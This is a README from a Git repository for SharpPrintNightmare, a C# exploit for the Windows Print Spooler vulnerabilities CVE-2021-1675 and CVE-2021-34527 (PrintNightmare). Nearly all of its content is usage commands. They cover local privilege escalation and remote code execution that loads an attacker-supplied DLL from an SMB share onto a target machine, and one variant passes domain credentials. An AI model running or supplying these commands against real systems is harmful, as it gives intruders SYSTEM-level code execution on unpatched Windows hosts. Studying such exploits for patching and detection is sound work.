r3pek/CVE-2021-1675
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CVE-2021-1675/SharpPrintNightmare/README.md
cube0x0 2180daa238 C# success rate and PoC improvement 
Signed-off-by: cube0x0 <vidfelt@protonmail.com>
2021-07-03 13:53:46 +02:00

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C# Implementation of CVE-2021-1675 / CVE-2021-34527

Usage

The RCE functionality might need to be executed with local administrator privileges on YOUR machine.

#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123

Acknowledgements

For contributing new ideas or exploit improvements, thanks to